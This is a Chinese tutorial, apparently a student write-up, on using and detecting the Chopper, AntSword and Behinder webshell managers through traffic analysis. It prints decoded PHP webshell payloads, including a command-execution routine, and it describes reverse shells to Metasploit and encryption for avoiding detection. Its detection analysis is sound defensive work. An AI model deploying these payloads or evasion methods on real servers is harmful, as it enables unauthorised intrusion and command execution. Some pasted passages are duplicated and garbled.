零基础学黑客,搜索公众号:白帽子左一

作者:掌控安全学员-逍遥子

一、菜刀

1.使用方法
菜刀的使用简单,将一句话木马上传到目标,然后直接使用菜刀连接即可,菜刀主要可以对目标进行虚拟终端,文件操作,数据库操作等。


2.流量分析
1.当菜刀和服务器连接后:最开的的两次流量通信,便产生了大量的数据信息。且使用了base64的方式进行编码

2.对数据解码,发现第一的数据是获取设备的信息,第二段数据是写入了一段新的木马,对第二段的base64编码进行转码整理后得到;

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0')
{@set_magic_quotes_runtime(0);
};
echo("X@Y");
$D='C:\\phpStudy\\PHPTutorial\\WWW\\webshell\\';
$F=@opendir($D);
if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");
}
else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.'/'.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="\t".$T."\t".@filesize($P)."\t".$E."\n";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("X@Y");die();

其中特征点有如下三部分,
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode(POST[z0])),(base64decode(_POST[z0])),(base64_decode(P​OST[z0])),(base64d​ecode(_POST[z0]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ…,该部分是传递攻击payload,此参数z0对应POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。注:1.有少数时候eval方法会被assert方法替代。2._POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。 注: 1.有少数时候eval方法会被assert方法替代。 2.P​OST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文。注:1.有少数时候eval方法会被assert方法替代。2._POST也会被GET、_GET、G​ET、_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
在进行数据传递的过程中,基本都是使用了post的方式向服务端发送数据。

追踪数据流,发现使用了base64的方式加密,但是返回的相应数据是以明文的方式。

通过对base64的数据进行解码,得到如下的数据。可以看到,是通过拼接字符串“assert”和“eavl”

二、蚁剑

1.使用方法:
蚁剑是根据菜刀的基础升级而来,也是可以通过一句话木马进行连接,或者使用蚁剑自带的payload进行连接。使用这种方式连接到的webshell数据没有进行任何的加密或者转码,直接以明文的方式可以被wireshark抓取到。

但是蚁剑可以自定义头数据,而且可以通过配置编码器,对数据进行一个加密,这样可能大程度的减少发现的概率。

为蚁剑设置自定义头数据等其他自定义信息:如图,我们添加了新的请求头数据

蚁剑也可以进行加密编码设置:如图设置一个编码器,在蚁剑的配置文件中对其设置

选定需要配置的编码器,点击rsa配置,设置对应的公私钥

将配置好的的编码器在连接配置文件中加载。

使用这种方式的加密,数据会使用rsa的方式进行加密,使得我们抓取的数据包的数据不再是明文,而是是rsa加密的字符,其他编码器同理。

2.流量分析
蚁剑是依据菜刀升级而来,所以大致的流量特征会和菜刀及其相似
a.未使用编码器时的蚁剑流量特征分析。
依然使用了POST的方式进行了数据的提交。而且默认情况下没有做任何的数据编码或者加密

通过分析,他依然是上传了一段新代码,用于实现更多的功能

b.使用编码器的蚁剑的流量特征分析。
使用了头信息添加或者修改,可以通过抓包发现,发生了作用。

蚁剑有默认的ua,但是在本次实验的时候,变成了一个可变的动态ua头。


对数据流量进行分析,发现数据好像被加密了

通过base64解码出来,发现是没有意义的数据,可以判断,设置编码器进行的rsa加密产生了作用

通过追踪流发现,请求数据都被加密了,但是响应数据依然使用的明文,通过这个线索,依旧可以实现检测。

三、冰蝎(3.0)

1.使用方式:
​ 冰蝎属于是一个功能强大的webshell管理工具,它有自带的payload,我们只需要将后门文件放到服务器上即可执行功能,冰蝎相比之前的webshell,流量更加安全隐蔽,而且功能更加强大如,设置转发,反弹shell等。

1.连接webshell
找到对应的后门文件,上传到服务器。

使用冰蝎对其连接。发现功能比较多

2.内网穿透
冰蝎支持多种内网穿透方式。

使用端口映射的方式进行一个内网穿透,在冰蝎上做好配置,在vps上使用端口转发工具进行一个监听。

这儿使用的是lcx,且成功完成了转发

3.shell反弹

冰蝎支持shell反弹,甚至可以反弹到cs和msf。

尝试反弹到msf,获取meterpreter。

设置好参数,准备反弹shell到meterpreter,同时可以看到使用的payload

msf端设置好参数,等待shell

冰蝎上开启反弹。msf获取到shell。

其他功能不再测试

2流量分析:
冰蝎使用对称加密算法。加密过程总共分三步:
第一步,密钥传递阶段(3.0使用了预共享)。
第二步,算法协商阶段,加密算法一般为AES128和异或。
第三步,正式通讯阶段。客户端使用上述密钥加密payload,POST给服务端,服务端解密后执行将结果又以加密方式作为Response Body返回给客户端。

1.对冰蝎的木马文件进行静态分析:
首先会将连接密码进行md5运算,取前16位,作为session留在服务器端

响应的数据通过aes的方式加密

2.流量抓包分析
因为使用了预共享的密钥,所以基本没有明文直接通信

但是我们自己搭建的环境,自己知道密钥,所以可以将数据解密。

解密出来的东西应该是一串base64编码过的数据。

再一次编码,获取到数据

对第一组数据包进行一个分析:

对请求包进行处理,对获取到的数据进行aes解密和base64转码后,获得的数据,大概可以理解为是一个认证包,如果服务端返沪后后的数据一致,那么就算是认证完成,进入后续流程。

解密后的请求包

@error_reporting(0);
function main($content)
{$result = array();$result["status"] = base64_encode("success");$result["msg"] = base64_encode($content);$key = $_SESSION['k'];echo encrypt(json_encode($result),$key);
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}$content="aWxjVG54ejFQRVdnM1lLbFNXUU1sRkQycWVqblMxd0JJbmdYa2EyNGdIUjRJcXV4NWp5NHZiQjdJT1huOHVXcENGd2FMWkZqRWhXZFNnaVpxR2cxUzBLeTJrVkpMUGpYWEZJR29QdFlPRk9VN2xtQVhtZzNlR1ZpUjl5ZjlpMEh4N2g3SFdyampDNm1oTUNueHdmTHZzTzRmOVJORVlacldVRGcydkJSSUNsdUxKQjZKdWZ0SEZIVkxXOFVUbWFUZmsyeklvMWR5TWd5RlhneW9aUFhkR2xXV0VCYTRyQzM1UFpxdFFmU2RiWXlFSnhBQ3hRVkU2djV2RFlQQUJETFZQekEwUGwzRXhTazdvSkc1UWJubXp2aVJRMHN3SGtucmdTWjdaMXlQRGVrdUZETFdCZlMwTUxVbEpaaG81T2Q2YXdsR3BRcjNVdnhpT25tMjJ0TmNjZjU2a242Z0p4VjlSamNlTHpIMldyeXNNZmdKUXNnN1l2RmZCMkRtcFVubGtRNXRzTFNaWE0yQ0I4MVRZOWVqaGRVVk8ybUI0cFRvNUNxb295VTdoTnhFbk5ISFlGbVhqWVZNSkYyRU9yT2RtRm5tOXFqdlF3cnVjUXRxU2dEUHZCRlA0Nndrd3Znd3lMVkJjbDRjRHk0dVNOT2ZGSmJKNE9UbWlGaWNZNWx5aHJNVHhXS0RhMnAxZ3RWT3phRWZybHpPUGVvZ3lSTWN2bDRzNUtrQlBFVHN5RGJXRTFPbnJvOEhUb1l3dEtBUGVscmlLWWdaczJmUHZZVzlveE03d3p0UXBaOGl2YnYweTlVemZWWkF5bzE4NmdQOXJ0Yzc5ZXVscDFMTm4yZUxUTGtqcllnblhiZGJsMVhmcm5BcnJnd1BlZWFBemV3cE5aem91Q2haV29YcEphaVA1UjMzQjJnR3M0NFZUQ2VzWmdmT3h1WkxPdlFzcWdWQjF5dEp1ZUtyQlRwWGxFVEhWc2c0bk9qeTg2Y1lvSVJPZmk4cU55ejVEZjN1RWt4dHJGRTBmUDlDYnpSQ21HYUJqdnI4d2pnelhQUXdzVFFqMXB1RllvRzZmMTZZaEk1MUZhQ0FXMjNpdENyZFMySm5ocmFIY1Q1a1hqTjk1aHJkbTA3T1VLeEw2M2ZHRnI5d1dpb0hHNFJhekRXakc1RWl5M1pUVERQYmlQZmIyOGZmNmVQMTBrSVJwUnZjODF0eGp2YXpTVlE4WGQ5alBlVzNKV3BMY09qWFpzaHNIMmQ0eDNLNWZwRXZ1SjljeDhHTlBNYzRTWGpTcXpoUGpRdVVRclNNVGdhZWZrNzh1dkNtQnliQTY3ZWxFYWtoWmdKQktuU0l2Z2RjMGNyOFdwZndwMzRhTmc1UEZCU1Fuazc4UVZZekl0ZnJSSGV3eHkzVEVYRjZiWmdoUGUzRUdyNXI4N2E1amkxUWFjYlRob005ZHgxNnJyOHU2bzF1eTF6N29PSzY5MEx4WjVPYjlmWndxWEk0dU1RbGZDUnNIN0VVWWgwV2dxODN1ZHZ1blBHaDdWQ0lab0xMWUs4eHhFWm4yRm1uenlWdU9id0NZYkx6OWdySG53ZUVsUWpQa0d3NlA3YmNQMm5MMUdqZzNwZ3BxVEVOdzdYdElIYVFpNjZpOWRzMmhobGpycHR1ekVqTVVvbUJQckFTM2RwRkVBeFdBRG1ab2FUN1ZQNHBQSms1QmpBOWhwMk1jZU9PMU82ZENjWXVtTjBDVUxPNDlzbkNiVHEzM0E4TExtcms5WlhDTHFuVU1TQVoyVzRYdzk0bXl3d1FJRUZBdHg3azRDTzRXN2lyTkR3MUVWb3JyYlBVdkp3cWtWMnRpMWRJaHloYTFHV0VQSWRGV3J5REFwNnRRVlhXMDRkOXFtT011cjE0aXR1cEJaUlVZMlZGU0p0dkhqV1RkSTlJeVoycXdqM3RmQUd3dHJ1RWZDQmQ5VUVRdVpraE1SWmpUSEJDQXk4RDg1MkR1RlF4OTRZWmNWMEZWN3puR0k3SDl2RmlJNmdiZ0VsTUNudjAzdVBmUlNtY0xibnM3YWV2Unc1S1BaN1FIM0JqeTdzaGVXTUtVeGExb2RNUVNiQnNkek85ejJTanpPZkVMcnFBekh6eG1mWDZxcVlsS0JVaGZlckFZN0JRY2kxWmw5MGZKTEZhdHhkcDFDVUgyTGN2SVhtRmFqdU9DYVY0Rk5vVGs0aUFTNXB6NUtheXZDWTdvRFA1ckpkd1IzTjVlb0pXVDVnR2J1QUFyWVl2aEtZTU4xQVRxZnFwSnlkaTlMQ01nWDh5UmI5MEwycGo1TVprcFp5NVZZakdwMElWUGV4cVZVS2JWa1hjbkZCUWtETXlzOVBzUHUyR2hUdFdrSlZOZWtLMWJSTXhWZWR4Wm5GZ2VBN1lsVExhUmdzUVBkNXdRa2FRS2pnbDEzWk5UT3RUQjZidG9GNkRTM1JwWURxc0hCRkd0NVFqd0FGYVByWFZtYkxCUDZkc280V3kxZTJxVVZuV0hmbFZWTXk5dXpGalhRRHM4MkVhNVlqYmVpajNXOGl3RFNPaHFwTU9FQ2l2eVkxZmdFcG9CM3hSRmpGdWlmWGRiWndHMEpsYkVvcnZPRGlDOEhZWjhPaU12dTFxM0lTMUNPejU2VHhzUFFYdVhQTmJSNkg2V0FGd1FHRDlWbHIybTF6WkdRY0hmdHl2dWQzb1VEVFQ3RThKRFBWaXJ0ZEtEVFJodDR4SVBHMVBpdG00WjRldm9CRmxySldsdFJRa0ZEVnFFdkg5N2xMN2hpbzFKdGdRYmFyUWY5QnRMUkdhaUZiTDN0SzBKbzJ1dms1M2pSUXR3alFHMUFuMllkcWw3Wjlib1JDOUxZbm5KdGdJeTdKWWxNU0R1NTRISzRTRGt5UHppbXJncjJBOHptTUtmaXRTQ0RUM2tNVlhlWUVXNEZEMGtHRDdHMGN0WjRFT1NTTjhZTTBrVkxMcnZ6WE5pc2hGc1hES3FMclh0NVNFeVRRdjVocDJ2YkNDSEdwVzNrdWMzaWRuc21CUnZ0V2xhSFRlaGNDQ0I1NzlVVUk2R0FEZTlpdjRUdUdnejlxRTlvcmdrT0tuYmRESkhIRFM5TVJYV1BJY0FHUkVURlFGOENlQ2tmZmJITjVEd1RBRWZ4eDRQSGV6UVBmQTZSTjVqZXdKeWY5dGtkdkVIelJSOTFkVE1JT21kS1AxYzJwekpKZUFJekNaUmg5Sm9MNDhCSW5wWHBXVEE2ckEzNTRKNkJzVzNyMVRFOUU3WmNwTkVXZFdTcGNWZWxGbmtlam5XNklteXgxaHBjcTd1VGxnWVBoRUptNFVxTnMxOHQ5YlByQW1BaHpvM0Zmb3M=";$content=base64_decode($content);
main($content);

经过和返回包的解密转码后做比对,可以认为完成了认证。

完成认证后,客户端向请求端发送了数据,通过解密得到数据。请求执行了phpinfo.

error_reporting(0);
function main($whatever) {ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();$driveList ="";if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt")){for($i=65;$i<=90;$i++){$drive=chr($i).':/';file_exists($drive) ? $driveList=$driveList.$drive.";":'';}}else{$driveList="/";}$currentPath=getcwd();//echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;$osInfo=PHP_OS;$arch="64";if (PHP_INT_SIZE == 4) {$arch = "32";}$result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo),"arch"=>base64_encode($arch));//echo json_encode($result);session_start();$key=$_SESSION['k'];//echo json_encode($result);//echo openssl_encrypt(json_encode($result), "AES128", $key);echo encrypt(json_encode($result), $key);
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}$whatever="ZnkyT0dRdjRpaGlXeU92Q0UycHkyVjJDT2R1MWNNcWNuN08yaTJ1Rk1HckVQSVNoSmlya05kZ1NDTnYwZ1N3QUtFMkV0NzFJT1NodDhPNGJpQUl0TzNYSWdJTVZCRW94RXpseHFZVjhXelhPc1FIMm54MllpUklTMDlxWVd5cWxvRW9lOWt3VWF3Y2g0UjhISm9jS08zampLeWsxckhXanZCclRsQ28yQXJPRHpteGtxVTlXM0I5OVN1eUlLNE44UDlIb1NaRXc4Yk1aaVhzWmRySnlnenlNczVCU2M4Zk5uQm0wbFA4S1k5YUNpRUpyY09ZM1kyNlF5U1M5cUtPaVF0akRkVjc2YWZPeUNNVW9iNUJtTmtHcHluMWZMaWlTMnJrbDk5WVZ1T1p3ZXp2aW1nUjE2ZlIwT2F0NWd2UTFOYmlxQ2RmQmE2eUc3OW45RDk4dlhQM0djdVdRRW5iV1hNdzBOQlMybVYxRjJzRW1tS3ZMNGN3ZFZsU0d5eVZUU1BrUlhmSnB2SnpBR3NLN0ZSNzdLdE5pcWU5cVQ1UldNb1YxWmsxMk1LdGI5ajE0NkJJWVptc0VCbnQ1eXN6dVRmWHNvYUJKOUxKMjJFa0k5REVqRHp0Y0hEaThaYVB0ZzlXR29KSmZ0U2NQUGJDdk1CbVF0RTFrTU5ieXNvQWRrSTdqeURENmlNd0dQYTlkV2Y5R0UxTDY3cE8zV29wQWxMM3JDSVhDWWU3SnA1QVo3RXZhUm9CeVNvc3hMS3l4b0RWbUpMR2MwUEJzU3MzYlVnSk9QMEpUeVgwM1F6VmxvMnJLUGlaNFM2MnhISVVuRFNYQkxORVE1Ynk0TUY3bkJyeGJEOUNVaDFxbTNqdzZIRkprU1hYT3g5clJ2NndUMHNtbXRtZmZGemlUWExHb3NSUmZaeWt6b3hZQkFtSU9wQnpEOXZkRGdOendYWTZ0bkx6WDdLZmFBWXJtcnhNVHdRclNlSHJ1ZTYyWktxdzU1aHpucUcyQ1pDNFJYYkxPaFp1NHY0dlRGVkpwNFpSWHN2TjREZ283SkgwYzNvN0xzamFpOXJaU3B1SXVhNGJRQXc3em1Dc0JZN2c2S2RDQUp1c0xCUmJaSGFsc21IaVA5RGplQ2FpWW9jU3kzdVJMQXYxOWtwR09UU3pFdjRCaTVXa1g1RU9JbWZZQXQxa1JYVGRsdkF4aFFaeEJ4SmhNMncyaDZKaWtzc1RtZGI1TUc1b0dxMnNGbWlHSVFpVVFlVUNISXJiSzdLazY1STdCdFdwS3o2am5oeFR4bFNvS0czTGNVZUdUcnNBc2U3aFFhczVtTnFKQk03MkNhZDU2ZEEzVFowamROeExhOGFEUjNFNG5kazZCZlhSUnA5dWVITTRXSXJDYzllMWVZWkZsdkhOeUd6QVQ3MllGQldnTVh2cERVR3kxV2xaMll1V1kwMXBsd1BIMVBQa3dEOHRONGVKSkNkOFd4NVdxWFVvOGRSY0FDNXptYmhTMVNZN1drSUM1WkhZNWt2Z2luWmFWeUpLY0pnNGwwWXBNM3lsRENNamVBQkEwRGpWbTF1Y2lHbVFRZUh5VUJKWEljc0NZNjN2bGV3MG9Tb1BxdFg4NURvUEI1RmVkUW5nMHc4d0RRcFV3QTczdlJVaVdlUWZDUUxNb2RHSENyT3p5N0lKeXdESVc1WVViZUlDUEI4cTBNTmZGWWJ5WFhBSjVPRnBDVVNlR0Q2ampMR0VBN2JqMXBKU0h0UWVWRGt4UU9QVmZFTlRhSGJZem9haDFOM0FEcHRpOWxaZzhoNnhRZmcyT085VHBiek9qQnY5UDQ4OGg2Z1p0TWFDVVRwTkRLR2NQR1E1MnlacTlIeGk2aDJCRmNMUTY0b2VPNzhnUzFibnFhNzZSU2E4UXg1UXQ3NVRmaTlZMWdKUDZRNmg2ZTljaElFc2JhR2c1VkpEbG5YRmtWeUhLYXVZSWtGbXhraXJLSXJqVHRrcWJPc2JQUkxjVU5EV0tDRWhwc1VkNnl6R0lzVWlsZ0FEZU9qZnBzRDYzZTNhd3RxWVpNSGpjcHdPcXdGa3lTWm1BdWdTdXlqZDFZQjdPYm5tZ3ZHbjVhcjg2RGQ1RFNyUlZ5ODg5bXRFVjQydHpuUDNMYkhtS1FYQ0c5TUl3RjE0ODdhN1dJZFRYYXZ6NnBoVDRBRk1ra21NYzFSMUcyRU1rM25IcVRZV0xYT2U2ZXpsbDRzN25uc3JpZExjaU13QnVPYUlLSE9IQzM0Z3pJcGFWOThHZUVkeWZ3YUpod1o1S09EVUJIWmc0UnBqRGVyOHlUVUd5QURCcGN0STlsS3U4QnhXTkhadEhOWEV5cEU1dVdGQlZpS1U5SjkxY1BmMklyc29Ba1N1TVpReUR1RWNlS0JSbWdNUU5wWGNJUFd2dlNVNTFWWnJsUkRjSU1UcmV4a09lOWFaQmRhbFl6enJ4cVI0V3gyaW1iRnFoc1ZsMlo2UVV0YVhtbUg0d0FPTTBwRFI1N3hET3BMNFBOR0tLZUNaT2oyMTYwMTJDME5RN1l4QnVVR0tsYlkxUHdCOHlhSktlQlFVSjVrSlpzeTVvYmJxdDNsQXoxekU0R1pRRmVWNndXS2FmMGQyT0ZTWkhkUUdPd1JaWHZocXZLMlJ5c0FSOVBmaG1jQnVDeWRCcU03alhNRTF2cEF6eVhkbm5YOXZaOUQzcjd0VFFGMXZ1QmoxamZLYlZtNzFMOWYwQ1RRVUN2b3RMR3dyZ0U4ckg=";$whatever=base64_decode($whatever);
main($whatever);

对响应数据处理后,发现反馈的是phpinfo信息。

通过追踪流,可以获取到所有的数据,分别进行解密,观察数据。这里对执行命令(whoami)部分的数据进行分析

通过aes解密和base64编码后得到了数据明文。

@error_reporting(0);
function getSafeStr($str){$s1 = iconv('utf-8','gbk//IGNORE',$str);$s0 = iconv('gbk','utf-8//IGNORE',$s1);if($s0 == $str){return $s0;}else{return iconv('gbk','utf-8//IGNORE',$str);}
}
function main($cmd,$path)
{@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time', 0);$result = array();$PadtJn = @ini_get('disable_functions');if (! empty($PadtJn)) {$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);$PadtJn = explode(',', $PadtJn);$PadtJn = array_map('trim', $PadtJn);} else {$PadtJn = array();}$c = $cmd;if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {$c = $c . " 2>&1\n";}$JueQDBH = 'is_callable';$Bvce = 'in_array';if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {ob_start();system($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {$handle = proc_open($c, array(array('pipe','r'),array('pipe','w'),array('pipe','w')), $pipes);$kWJW = NULL;while (! feof($pipes[1])) {$kWJW .= fread($pipes[1], 1024);}@proc_close($handle);} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {ob_start();passthru($c);$kWJW = ob_get_contents();ob_end_clean();} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {$kWJW = shell_exec($c);} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {$kWJW = array();exec($c, $kWJW);$kWJW = join(chr(10), $kWJW) . chr(10);} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {$fp = popen($c, 'r');$kWJW = NULL;if (is_resource($fp)) {while (! feof($fp)) {$kWJW .= fread($fp, 1024);}}@pclose($fp);} else {$kWJW = 0;$result["status"] = base64_encode("fail");$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");$key = $_SESSION['k'];echo encrypt(json_encode($result), $key);return;}$result["status"] = base64_encode("success");$result["msg"] = base64_encode(getSafeStr($kWJW));echo encrypt(json_encode($result),  $_SESSION['k']);
}
function encrypt($data,$key)
{if(!extension_loaded('openssl')){for($i=0;$i<strlen($data);$i++) {$data[$i] = $data[$i]^$key[$i+1&15]; }return $data;}else{return openssl_encrypt($data, "AES128", $key);}
}$cmd="Y2QgL2QgIkM6XHBocFN0dWR5XFBIUFR1dG9yaWFsXFdXV1x3ZWJzaGVsbFwiJndob2FtaQ==";$cmd=base64_decode($cmd);$path="QzovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3dlYnNoZWxsLw==";$path=base64_decode($path);
main($cmd,$path);

看不大懂是个啥,但是大致知道了就是用这个代码实现了命令执行的功能,对最后的两串cmd参数,path参数的base64数据解码,得到了路径和执行的命令。


对响应的数据进行一个分析,将响应数据的密文复制,进行一个解密

继续得到一串base64数据。

说明:流量包附件
不同的版本可能会存在不同的效果,将我分析过程中的流量包放在了附件

公众号(白帽子左一)后台回复:“2336”获取


webshell使用与流量分析(含数据包)相关推荐

  1. 网络安全学习第10篇 - ping程序的实现,抓包分析ping数据包以及ping工具对于网络安全方面的威胁

    请结合附件:Ping的实现原理与ping.cpp的内容,编写一个程序,使其能够实现简单的ping的功能,即判断目标网站是否可以连接,然后通过Wireshark进行抓包分析其ICMP协议,指出哪个数据包 ...

  2. 数据包捕获计算机网络实训,计算机网络-使用网络协议分析器捕捉和分析协议数据包...

    广州大学学生实验报告 开课学院及实验室:计算机科学与工程实验室2014年11月28日 一.实验目的 (1)熟悉ethereal的使用 (2)验证各种协议数据包格式 (3)学会捕捉并分析各种数据包. 二 ...

  3. 计算机网络与协议分析,计算机网络-使用网络协议分析器捕捉和分析协议数据包...

    <计算机网络-使用网络协议分析器捕捉和分析协议数据包>由会员分享,可在线阅读,更多相关<计算机网络-使用网络协议分析器捕捉和分析协议数据包(10页珍藏版)>请在人人文库网上搜索 ...

  4. Java抓包+分析网络数据包

    Java抓包+分析网络数据包   本程序基于java语言,需安装winpcap和配置Jpcap.jar库文件(需要的可以评论留下邮箱),成功实现了对本主机网卡接口的显示和网络数据包的抓取,并调用函数对 ...

  5. 计算机网络-实验三:使用网络协议分析器捕捉和分析协议数据包

    一.实验目的 (1) 熟悉ethereal的使用 (2) 验证各种协议数据包格式 (3) 学会捕捉并分析各种数据包. 二.实验环境 安装了TCP/IP协议的Windows系统,包含实用的网络工具. 三 ...

  6. WireShark利用telnet分析指定数据包信息

    1.首先WireShark,点击文件-打开-添加给定的数据包 2.在绿色框里检索telnet协议 3.由于检索信息过多,我们任意右键一条检索信息,右键-追踪流-TCP流,即可显示telnet携带信息( ...

  7. iOS小技能:截获分析网络数据包( tcpdump 、Wireshark的原理和基本使用 、使用Charles联调测试)

    文章目录 前言 I tcpdump 1.1 预备知识 1.2 截获分析网络数据包 1.3 tcpdump常用的一些命令参数 II Wireshark 2.1 原理 2.2 使用方法 2.3 封包详细信 ...

  8. wireshark抓包分析ping数据包

    目录 1.抓取数据包 2.ping request数据包解析 2.1 ICMP 2.2 传输层 2.3 以太帧 2.3 数据链路层 3. ping reply数据包解析 1.抓取数据包 先用管理员权限 ...

  9. python数据包分析_packet_analysis: 数据包分析工具

    功能 读取pcap包,打印详细的icmp/tcp/udp协议 读取pcap包或网络接口 1. 打印详细的tcp会话/udp报文数据,目前支持mysql/pgsql/smtp/ftp/redis/mon ...

最新文章

  1. 和身体和谐相处的经验
  2. boost::python模块实现使用原始指针访问数据的示例
  3. 在Ubuntu 16.04 LTS下编译安装OpenCV 4.1.1
  4. iOS:UIView的block函数实现转场动画---双视图
  5. 按照前序遍历和中序遍历构建二叉树
  6. JSR 365更新:深入CDI 2.0
  7. linux语言的说明顺序有哪些,(linux常用头文件详解.doc
  8. 单片机ADC采样算法----中位值平均滤波法
  9. java中d怎样转换D,如何将ZonedDateTime转换为date?
  10. 软考设计师15-数据结构01
  11. android弹窗不能手动关闭_Android弹窗的实现及相关bug
  12. 科罗拉多大学波尔得分校计算机科学,科罗拉多大学波尔得分校排名
  13. 解决(Missing artifact com.oracle:ojdbc14:jar:11.2.0.4.0)
  14. ...............
  15. cocos2d-x2.2.5走四棋儿源代码“开源”
  16. st7789 旋转_ST7789V彩屏驱动及显示代码
  17. java创建一个自己的类库_建立并使用自己的类库
  18. 竹子的故事:送给那些坚持了很久却准备放弃的人 --- 厚积方能薄发
  19. 20190301小中大
  20. 移动端开发----el-select、div点击出现蓝色背景色

热门文章

  1. Android性能优化来龙去脉总结,移动端h5页面适配
  2. 使用Navicat工具进行数据表的复制
  3. 正点原子的ATK-LORA-01调试过程
  4. 二叉树的编程与实现(C语言)
  5. JAVA毕业设计惠济区疫情期间监测管理系统计算机源码+lw文档+系统+调试部署+数据库
  6. Swift相关图书推荐
  7. get connection timeout retry : 1
  8. Mac 80端口解决办法
  9. recyclerview 软键盘_RecyclerView中解决EditText的各种异常 终极无BUG版
  10. 核信交换链排名自动点击器v1.0.0 免费软件下载